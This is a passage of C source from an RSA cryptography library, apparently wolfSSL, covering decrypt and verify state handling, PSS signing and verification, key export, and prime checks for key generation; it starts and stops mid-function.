out, outLen, key); if (outPtr != NULL) *outPtr = out; /* for inline */ return ret; } else if (rsa_type == RSA_PUBLIC_DECRYPT && pad_value == RSA_BLOCK_TYPE_1) { return cc310_RsaSSL_Verify(in, inLen, out, key, cc310_hashModeRSA(hash, 0)); } #endif /* WOLFSSL_CRYPTOCELL */ #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) /* verify the tmp ptr is NULL, otherwise indicates bad state */ if (key->data != NULL) { ret = BAD_STATE_E; break; } /* if not doing this inline then allocate a buffer for it */ if (outPtr == NULL) { key->data = (byte*)XMALLOC(inLen, key->heap, DYNAMIC_TYPE_WOLF_BIGINT); key->dataIsAlloc = 1; if (key->data == NULL) { ret = MEMORY_E; break; } XMEMCPY(key->data, in, inLen); } else { key->data = out; } #endif key->state = RSA_STATE_DECRYPT_EXPTMOD; FALL_THROUGH; case RSA_STATE_DECRYPT_EXPTMOD: #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) ret = wc_RsaFunction(key->data, inLen, key->data, &key->dataLen, rsa_type, key, rng); #else ret = wc_RsaFunction(in, inLen, out, &key->dataLen, rsa_type, key, rng); #endif if (ret >= 0 || ret == WC_PENDING_E) { key->state = RSA_STATE_DECRYPT_UNPAD; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_DECRYPT_UNPAD: #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) ret = wc_RsaUnPad_ex(key->data, key->dataLen, &pad, pad_value, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); #else ret = wc_RsaUnPad_ex(out, key->dataLen, &pad, pad_value, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); #endif if (rsa_type == RSA_PUBLIC_DECRYPT && ret > (int)outLen) ret = RSA_BUFFER_E; else if (ret >= 0 && pad != NULL) { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) signed char c; #endif /* only copy output if not inline */ if (outPtr == NULL) { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WOLFSSL_RSA_VERIFY_INLINE) if (rsa_type == RSA_PRIVATE_DECRYPT) { word32 i, j; int start = (int)((size_t)pad - (size_t)key->data); for (i = 0, j = 0; j < key->dataLen; j++) { out[i] = key->data[j]; c = ctMaskGTE(j, start); c &= ctMaskLT(i, outLen); /* 0 - no add, -1 add */ i += (word32)((byte)(-c)); } } else #endif { XMEMCPY(out, pad, ret); } } else *outPtr = pad; #if !defined(WOLFSSL_RSA_VERIFY_ONLY) ret = ctMaskSelInt(ctMaskLTE(ret, outLen), ret, RSA_BUFFER_E); ret = ctMaskSelInt(ctMaskNotEq(ret, 0), ret, RSA_BUFFER_E); #else if (outLen < (word32)ret) ret = RSA_BUFFER_E; #endif } key->state = RSA_STATE_DECRYPT_RES; FALL_THROUGH; case RSA_STATE_DECRYPT_RES: #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD) { if (ret > 0) { /* convert result */ byte* dataLen = (byte*)&key->dataLen; ret = (dataLen[0] << 8) | (dataLen[1]); if (outPtr) *outPtr = in; } } #endif break; default: ret = BAD_STATE_E; break; } /* if async pending then return and skip done cleanup below */ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #ifndef WOLFSSL_RSA_VERIFY_ONLY /* Public RSA Functions */ int wc_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PUBLIC_ENCRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_NO_PADDING) int wc_RsaPublicEncrypt_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PUBLIC_ENCRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP */ #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY int wc_RsaPrivateDecryptInline(byte* in, word32 inLen, byte** out, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #ifndef WC_NO_RSA_OAEP int wc_RsaPrivateDecryptInline_ex(byte* in, word32 inLen, byte** out, RsaKey* key, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP */ int wc_RsaPrivateDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_NO_PADDING) int wc_RsaPrivateDecrypt_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PRIVATE_DECRYPT, RSA_BLOCK_TYPE_2, type, hash, mgf, label, labelSz, 0, rng); } #endif /* WC_NO_RSA_OAEP || WC_RSA_NO_PADDING */ #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ #if !defined(WOLFSSL_CRYPTOCELL) int wc_RsaSSL_VerifyInline(byte* in, word32 inLen, byte** out, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #endif #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaSSL_Verify(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { return wc_RsaSSL_Verify_ex(in, inLen, out, outLen, key , WC_RSA_PKCSV15_PAD); } int wc_RsaSSL_Verify_ex(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int pad_type) { WC_RNG* rng; if (key == NULL) { return BAD_FUNC_ARG; } #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx((byte*)in, inLen, out, outLen, NULL, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, pad_type, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #endif #ifdef WC_RSA_PSS /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyInline(byte* in, word32 inLen, byte** out, enum wc_HashType hash, int mgf, RsaKey* key) { #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER return wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key); #else return wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, RSA_PSS_SALT_LEN_DISCOVER, key); #endif } /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyInline_ex(byte* in, word32 inLen, byte** out, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, in, inLen, out, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } /* Verify the message signed with RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_Verify(byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, RsaKey* key) { #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER return wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key); #else return wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DISCOVER, key); #endif } /* Verify the message signed with RSA-PSS. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_Verify_ex(byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key) { WC_RNG* rng; #ifdef WC_RSA_BLINDING rng = key->rng; #else rng = NULL; #endif return RsaPrivateDecryptEx(in, inLen, out, outLen, NULL, key, RSA_PUBLIC_DECRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } /* Checks the PSS data to ensure that the signature matches. * Salt length is equal to hash length. * * in Hash of the data that is being verified. * inSz Length of hash. * sig Buffer holding PSS data. * sigSz Size of PSS data. * hashType Hash algorithm. * returns BAD_PADDING_E when the PSS data is invalid, BAD_FUNC_ARG when * NULL is passed in to in or sig or inSz is not the same as the hash * algorithm length and 0 on success. */ int wc_RsaPSS_CheckPadding(const byte* in, word32 inSz, byte* sig, word32 sigSz, enum wc_HashType hashType) { return wc_RsaPSS_CheckPadding_ex(in, inSz, sig, sigSz, hashType, inSz, 0); } /* Checks the PSS data to ensure that the signature matches. * * in Hash of the data that is being verified. * inSz Length of hash. * sig Buffer holding PSS data. * sigSz Size of PSS data. * hashType Hash algorithm. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * returns BAD_PADDING_E when the PSS data is invalid, BAD_FUNC_ARG when * NULL is passed in to in or sig or inSz is not the same as the hash * algorithm length and 0 on success. */ int wc_RsaPSS_CheckPadding_ex(const byte* in, word32 inSz, byte* sig, word32 sigSz, enum wc_HashType hashType, int saltLen, int bits) { int ret = 0; #ifndef WOLFSSL_PSS_LONG_SALT byte sigCheck[WC_MAX_DIGEST_SIZE*2 + RSA_PSS_PAD_SZ]; #else byte *sigCheck = NULL; #endif (void)bits; if (in == NULL || sig == NULL || inSz != (word32)wc_HashGetDigestSize(hashType)) { ret = BAD_FUNC_ARG; } if (ret == 0) { if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = inSz; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (bits == 1024 && inSz == WC_SHA512_DIGEST_SIZE) { saltLen = RSA_PSS_SALT_MAX_SZ; } #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if ((word32)saltLen > inSz) { ret = PSS_SALTLEN_E; } #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) { ret = PSS_SALTLEN_E; } #else else if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { saltLen = sigSz - inSz; if (saltLen < 0) { ret = PSS_SALTLEN_E; } } else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) { ret = PSS_SALTLEN_E; } #endif } /* Sig = Salt | Exp Hash */ if (ret == 0) { if (sigSz != inSz + saltLen) { ret = PSS_SALTLEN_E; } } #ifdef WOLFSSL_PSS_LONG_SALT if (ret == 0) { sigCheck = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inSz + saltLen, NULL, DYNAMIC_TYPE_RSA_BUFFER); if (sigCheck == NULL) { ret = MEMORY_E; } } #endif /* Exp Hash = HASH(8 * 0x00 | Message Hash | Salt) */ if (ret == 0) { XMEMSET(sigCheck, 0, RSA_PSS_PAD_SZ); XMEMCPY(sigCheck + RSA_PSS_PAD_SZ, in, inSz); XMEMCPY(sigCheck + RSA_PSS_PAD_SZ + inSz, sig, saltLen); ret = wc_Hash(hashType, sigCheck, RSA_PSS_PAD_SZ + inSz + saltLen, sigCheck, inSz); } if (ret == 0) { if (XMEMCMP(sigCheck, sig + saltLen, inSz) != 0) { WOLFSSL_MSG("RsaPSS_CheckPadding: Padding Error"); ret = BAD_PADDING_E; } } #ifdef WOLFSSL_PSS_LONG_SALT if (sigCheck != NULL) { XFREE(sigCheck, NULL, DYNAMIC_TYPE_RSA_BUFFER); } #endif return ret; } /* Verify the message signed with RSA-PSS. * The input buffer is reused for the output buffer. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * digest Hash of the data that is being verified. * digestLen Length of hash. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyCheckInline(byte* in, word32 inLen, byte** out, const byte* digest, word32 digestLen, enum wc_HashType hash, int mgf, RsaKey* key) { int ret = 0, verify, saltLen, hLen, bits = 0; hLen = wc_HashGetDigestSize(hash); if (hLen < 0) return BAD_FUNC_ARG; if ((word32)hLen != digestLen) return BAD_FUNC_ARG; saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ bits = mp_count_bits(&key->n); if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif verify = wc_RsaPSS_VerifyInline_ex(in, inLen, out, hash, mgf, saltLen, key); if (verify > 0) ret = wc_RsaPSS_CheckPadding_ex(digest, digestLen, *out, verify, hash, saltLen, bits); if (ret == 0) ret = verify; return ret; } /* Verify the message signed with RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding encrypted data. * inLen Length of data in buffer. * out Pointer to address containing the PSS data. * outLen Length of the output. * digest Hash of the data that is being verified. * digestLen Length of hash. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * returns the length of the PSS data on success and negative indicates failure. */ int wc_RsaPSS_VerifyCheck(byte* in, word32 inLen, byte* out, word32 outLen, const byte* digest, word32 digestLen, enum wc_HashType hash, int mgf, RsaKey* key) { int ret = 0, verify, saltLen, hLen, bits = 0; hLen = wc_HashGetDigestSize(hash); if (hLen < 0) return hLen; if ((word32)hLen != digestLen) return BAD_FUNC_ARG; saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ bits = mp_count_bits(&key->n); if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif verify = wc_RsaPSS_Verify_ex(in, inLen, out, outLen, hash, mgf, saltLen, key); if (verify > 0) ret = wc_RsaPSS_CheckPadding_ex(digest, digestLen, out, verify, hash, saltLen, bits); if (ret == 0) ret = verify; return ret; } #endif #if !defined(WOLFSSL_RSA_PUBLIC_ONLY) && !defined(WOLFSSL_RSA_VERIFY_ONLY) int wc_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PRIVATE_ENCRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PKCSV15_PAD, WC_HASH_TYPE_NONE, WC_MGF1NONE, NULL, 0, 0, rng); } #ifdef WC_RSA_PSS /* Sign the hash of a message using RSA-PSS. * Salt length is equal to hash length. * * in Buffer holding hash of message. * inLen Length of data in buffer (hash length). * out Buffer to write encrypted signature into. * outLen Size of buffer to write to. * hash Hash algorithm. * mgf Mask generation function. * key Public RSA key. * rng Random number generator. * returns the length of the encrypted signature on success, a negative value * indicates failure. */ int wc_RsaPSS_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, RsaKey* key, WC_RNG* rng) { return wc_RsaPSS_Sign_ex(in, inLen, out, outLen, hash, mgf, RSA_PSS_SALT_LEN_DEFAULT, key, rng); } /* Sign the hash of a message using RSA-PSS. * * in Buffer holding hash of message. * inLen Length of data in buffer (hash length). * out Buffer to write encrypted signature into. * outLen Size of buffer to write to. * hash Hash algorithm. * mgf Mask generation function. * saltLen Length of salt used. RSA_PSS_SALT_LEN_DEFAULT (-1) indicates salt * length is the same as the hash length. RSA_PSS_SALT_LEN_DISCOVER * indicates salt length is determined from the data. * key Public RSA key. * rng Random number generator. * returns the length of the encrypted signature on success, a negative value * indicates failure. */ int wc_RsaPSS_Sign_ex(const byte* in, word32 inLen, byte* out, word32 outLen, enum wc_HashType hash, int mgf, int saltLen, RsaKey* key, WC_RNG* rng) { return RsaPublicEncryptEx(in, inLen, out, outLen, key, RSA_PRIVATE_ENCRYPT, RSA_BLOCK_TYPE_1, WC_RSA_PSS_PAD, hash, mgf, NULL, 0, saltLen, rng); } #endif #endif #if !defined(WOLFSSL_RSA_VERIFY_ONLY) || !defined(WOLFSSL_SP_MATH) || \ defined(WC_RSA_PSS) int wc_RsaEncryptSize(RsaKey* key) { int ret; if (key == NULL) { return BAD_FUNC_ARG; } ret = mp_unsigned_bin_size(&key->n); #ifdef WOLF_CRYPTO_CB if (ret == 0 && key->devId != INVALID_DEVID) { ret = 2048/8; /* hardware handles, use 2048-bit as default */ } #endif return ret; } #endif #ifndef WOLFSSL_RSA_VERIFY_ONLY /* flatten RsaKey structure into individual elements (e, n) */ int wc_RsaFlattenPublicKey(RsaKey* key, byte* e, word32* eSz, byte* n, word32* nSz) { int sz, ret; if (key == NULL || e == NULL || eSz == NULL || n == NULL || nSz == NULL) { return BAD_FUNC_ARG; } sz = mp_unsigned_bin_size(&key->e); if ((word32)sz > *eSz) return RSA_BUFFER_E; ret = mp_to_unsigned_bin(&key->e, e); if (ret != MP_OKAY) return ret; *eSz = (word32)sz; sz = wc_RsaEncryptSize(key); if ((word32)sz > *nSz) return RSA_BUFFER_E; ret = mp_to_unsigned_bin(&key->n, n); if (ret != MP_OKAY) return ret; *nSz = (word32)sz; return 0; } #endif #endif /* HAVE_FIPS */ #ifndef WOLFSSL_RSA_VERIFY_ONLY static int RsaGetValue(mp_int* in, byte* out, word32* outSz) { word32 sz; int ret = 0; /* Parameters ensured by calling function. */ sz = (word32)mp_unsigned_bin_size(in); if (sz > *outSz) ret = RSA_BUFFER_E; if (ret == 0) ret = mp_to_unsigned_bin(in, out); if (ret == MP_OKAY) *outSz = sz; return ret; } int wc_RsaExportKey(RsaKey* key, byte* e, word32* eSz, byte* n, word32* nSz, byte* d, word32* dSz, byte* p, word32* pSz, byte* q, word32* qSz) { int ret = BAD_FUNC_ARG; if (key && e && eSz && n && nSz && d && dSz && p && pSz && q && qSz) ret = 0; if (ret == 0) ret = RsaGetValue(&key->e, e, eSz); if (ret == 0) ret = RsaGetValue(&key->n, n, nSz); #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (ret == 0) ret = RsaGetValue(&key->d, d, dSz); if (ret == 0) ret = RsaGetValue(&key->p, p, pSz); if (ret == 0) ret = RsaGetValue(&key->q, q, qSz); #else /* no private parts to key */ if (d == NULL || p == NULL || q == NULL || dSz == NULL || pSz == NULL || qSz == NULL) { ret = BAD_FUNC_ARG; } else { *dSz = 0; *pSz = 0; *qSz = 0; } #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ return ret; } #endif #ifdef WOLFSSL_KEY_GEN /* Check that |p-q| > 2^((size/2)-100) */ static int wc_CompareDiffPQ(mp_int* p, mp_int* q, int size) { mp_int c, d; int ret; if (p == NULL || q == NULL) return BAD_FUNC_ARG; ret = mp_init_multi(&c, &d, NULL, NULL, NULL, NULL); /* c = 2^((size/2)-100) */ if (ret == 0) ret = mp_2expt(&c, (size/2)-100); /* d = |p-q| */ if (ret == 0) ret = mp_sub(p, q, &d); if (ret == 0) ret = mp_abs(&d, &d); /* compare */ if (ret == 0) ret = mp_cmp(&d, &c); if (ret == MP_GT) ret = MP_OKAY; mp_clear(&d); mp_clear(&c); return ret; } /* The lower_bound value is floor(2^(0.5) * 2^((nlen/2)-1)) where nlen is 4096. * This number was calculated using a small test tool written with a common * large number math library. Other values of nlen may be checked with a subset * of lower_bound. */ static const byte lower_bound[] = { 0xB5, 0x04, 0xF3, 0x33, 0xF9, 0xDE, 0x64, 0x84, 0x59, 0x7D, 0x89, 0xB3, 0x75, 0x4A, 0xBE, 0x9F, 0x1D, 0x6F, 0x60, 0xBA, 0x89, 0x3B, 0xA8, 0x4C, 0xED, 0x17, 0xAC, 0x85, 0x83, 0x33, 0x99, 0x15, /* 512 */ 0x4A, 0xFC, 0x83, 0x04, 0x3A, 0xB8, 0xA2, 0xC3, 0xA8, 0xB1, 0xFE, 0x6F, 0xDC, 0x83, 0xDB, 0x39, 0x0F, 0x74, 0xA8, 0x5E, 0x43, 0x9C, 0x7B, 0x4A, 0x78, 0x04, 0x87, 0x36, 0x3D, 0xFA, 0x27, 0x68, /* 1024 */ 0xD2, 0x20, 0x2E, 0x87, 0x42, 0xAF, 0x1F, 0x4E, 0x53, 0x05, 0x9C, 0x60, 0x11, 0xBC, 0x33, 0x7B, 0xCA, 0xB1, 0xBC, 0x91, 0x16, 0x88, 0x45, 0x8A, 0x46, 0x0A, 0xBC, 0x72, 0x2F, 0x7C, 0x4E, 0x33, 0xC6, 0xD5, 0xA8, 0xA3, 0x8B, 0xB7, 0xE9, 0xDC, 0xCB, 0x2A, 0x63, 0x43, 0x31, 0xF3, 0xC8, 0x4D, 0xF5, 0x2F, 0x12, 0x0F, 0x83, 0x6E, 0x58, 0x2E, 0xEA, 0xA4, 0xA0, 0x89, 0x90, 0x40, 0xCA, 0x4A, /* 2048 */ 0x81, 0x39, 0x4A, 0xB6, 0xD8, 0xFD, 0x0E, 0xFD, 0xF4, 0xD3, 0xA0, 0x2C, 0xEB, 0xC9, 0x3E, 0x0C, 0x42, 0x64, 0xDA, 0xBC, 0xD5, 0x28, 0xB6, 0x51, 0xB8, 0xCF, 0x34, 0x1B, 0x6F, 0x82, 0x36, 0xC7, 0x01, 0x04, 0xDC, 0x01, 0xFE, 0x32, 0x35, 0x2F, 0x33, 0x2A, 0x5E, 0x9F, 0x7B, 0xDA, 0x1E, 0xBF, 0xF6, 0xA1, 0xBE, 0x3F, 0xCA, 0x22, 0x13, 0x07, 0xDE, 0xA0, 0x62, 0x41, 0xF7, 0xAA, 0x81, 0xC2, /* 3072 */ 0xC1, 0xFC, 0xBD, 0xDE, 0xA2, 0xF7, 0xDC, 0x33, 0x18, 0x83, 0x8A, 0x2E, 0xAF, 0xF5, 0xF3, 0xB2, 0xD2, 0x4F, 0x4A, 0x76, 0x3F, 0xAC, 0xB8, 0x82, 0xFD, 0xFE, 0x17, 0x0F, 0xD3, 0xB1, 0xF7, 0x80, 0xF9, 0xAC, 0xCE, 0x41, 0x79, 0x7F, 0x28, 0x05, 0xC2, 0x46, 0x78, 0x5E, 0x92, 0x95, 0x70, 0x23, 0x5F, 0xCF, 0x8F, 0x7B, 0xCA, 0x3E, 0xA3, 0x3B, 0x4D, 0x7C, 0x60, 0xA5, 0xE6, 0x33, 0xE3, 0xE1 /* 4096 */ }; /* returns 1 on key size ok and 0 if not ok */ static WC_INLINE int RsaSizeCheck(int size) { if (size < RSA_MIN_SIZE || size > RSA_MAX_SIZE) { return 0; } #ifdef HAVE_FIPS /* Key size requirements for CAVP */ switch (size) { case 1024: case 2048: case 3072: case 4096: return 1; } return 0; #else return 1; /* allow unusual key sizes in non FIPS mode */ #endif /* HAVE_FIPS */ } static int _CheckProbablePrime(mp_int* p, mp_int* q, mp_int* e, int nlen, int* isPrime, WC_RNG* rng) { int ret; mp_int tmp1, tmp2; mp_int* prime; if (p == NULL || e == NULL || isPrime == NULL) return BAD_FUNC_ARG; if (!RsaSizeCheck(nlen)) return BAD_FUNC_ARG; *isPrime = MP_NO; if (q != NULL) { /* 5.4 - check that |p-q| <= (2^(1/2))(2^((nlen/2)-1)) */ ret = wc_CompareDiffPQ(p, q, nlen); if (ret != MP_OKAY) goto notOkay; prime = q; } else prime = p; ret = mp_init_multi(&tmp1, &tmp2, NULL, NULL, NULL, NULL); if (ret != MP_OKAY) goto notOkay; /* 4.4,5.5 - Check that prime >= (2^(1/2))(2^((nlen/2)-1)) * This is a comparison against lowerBound */ ret = mp_read_unsigned_bin(&tmp1, lower_bound, nlen/16); if (ret != MP_OKAY) goto notOkay; ret = mp_cmp(prime, &tmp1); if (ret == MP_LT) goto exit; /* 4.5,5.6 - Check that GCD(p-1, e) == 1 */ ret = mp_sub_d(prime, 1, &tmp1); /* tmp1 = prime-1 */ if (ret != MP_OKAY) goto notOkay; ret = mp_gcd(&tmp1, e, &tmp2); /* tmp2 = gcd(prime-1, e) */ if (ret != MP_OKAY) goto notOkay; ret = mp_cmp_d(&tmp2, 1); if (ret != MP_EQ) goto exit; /* e divides p-1 */ /* 4.5.1,5.6.1 - Check primality of p with 8 rounds of M-R. * mp_prime_is_prime_ex() performs test divisions against the first 256 * prime numbers. After that it performs 8 rounds of M-R using random * bases between 2 and n-2. * mp_prime_is_prime() performs the same test divisions and then does * M-R with the first 8 primes. Both functions set isPrime as a * side-effect. */ if (rng != NULL) ret = mp_prime_is_prime_ex(prime, 8, isPrime, rng); else ret = mp_prime_is_prime(prime, 8, isPrime); if (ret != MP_OKAY) goto notOkay; exit: ret = MP_OKAY; notOkay: mp_clear(&tmp1); mp_clear(&tmp2); return ret; } int wc_CheckProbablePrime_ex(const byte* pRaw, word32 pRawSz, const byte* qRaw, word32 qRawSz, const byte* eRaw, word32 eRawSz, int nlen, int* isPrime, WC_RNG* rng) { mp_int p, q, e; mp_int* Q = NULL; int ret; if (pRaw == NULL || pRawSz == 0 || eRaw == NULL || eRawSz == 0 || isPrime == NULL) { return BAD_FUNC_ARG; } if ((qRaw != NULL && qRawSz == 0) || (qRaw == NULL && qRawSz != 0)) return BAD_FUNC_ARG; ret = mp_init_multi(&p, &q, &e, NULL, NULL, NULL); if (ret == MP_OKAY) ret = mp_read_unsigned_bin(&p, pRaw, pRawSz); if (ret == MP_OKAY) { if (qRaw != NULL) { ret = mp_read_unsigned_bin(&q, qRaw, qRawSz); if (ret == MP_OKAY) Q = &q; } } if (ret == MP_OKAY) ret = mp_read_unsigned_bin(&e, eRaw, eRawSz); if (ret == MP_OKAY) ret = _CheckProbablePrime(&p, Q, &e, nlen, isPrime, rng); ret = (ret == MP_OKAY) ? 0 : PRIME_GEN_E; mp_clear(&p); mp_clear(&q); mp_clear(&e); return ret; } int wc_CheckProbablePrime(const byte* pRaw, word32 pRawSz, const byte* qRaw, word32 qRawSz, const byte* eRaw, word32 eRawSz, int nlen, int* isPrime) { return wc_CheckProbablePrime_ex(pRaw, pRawSz, qRaw, qRawSz, eRaw, eRawSz, nlen, isPrime, NULL); } #if !defined(HAVE_FIPS) || (defined(HAVE_FIPS) && \ defined(HAVE_FIPS_VERSION) && (HAVE_FIPS_VERSION >= 2)) /* Make an RSA key for size bits, with e specified, 65537 is a good e */ int wc_MakeRsaKey(RsaKey* key, int size, long e, WC_RNG* rng) { #ifndef WC_NO_RNG #ifdef WOLFSSL_SMALL_STACK mp_int *p = (mp_int *)XMALLOC(sizeof *p, key->heap, DYNAMIC_TYPE_RSA); mp_int *q = (mp_int *)XMALLOC(sizeof *q, key->heap, DYNAMIC_TYPE_RSA); mp_int *tmp1 = (mp_int *)XMALLOC(sizeof *tmp1, key->heap, DYNAMIC_TYPE_RSA); mp_int *tmp2 = (mp_int *)XMALLOC(sizeof *tmp2, key->heap, DYNAMIC_TYPE_RSA); mp_int 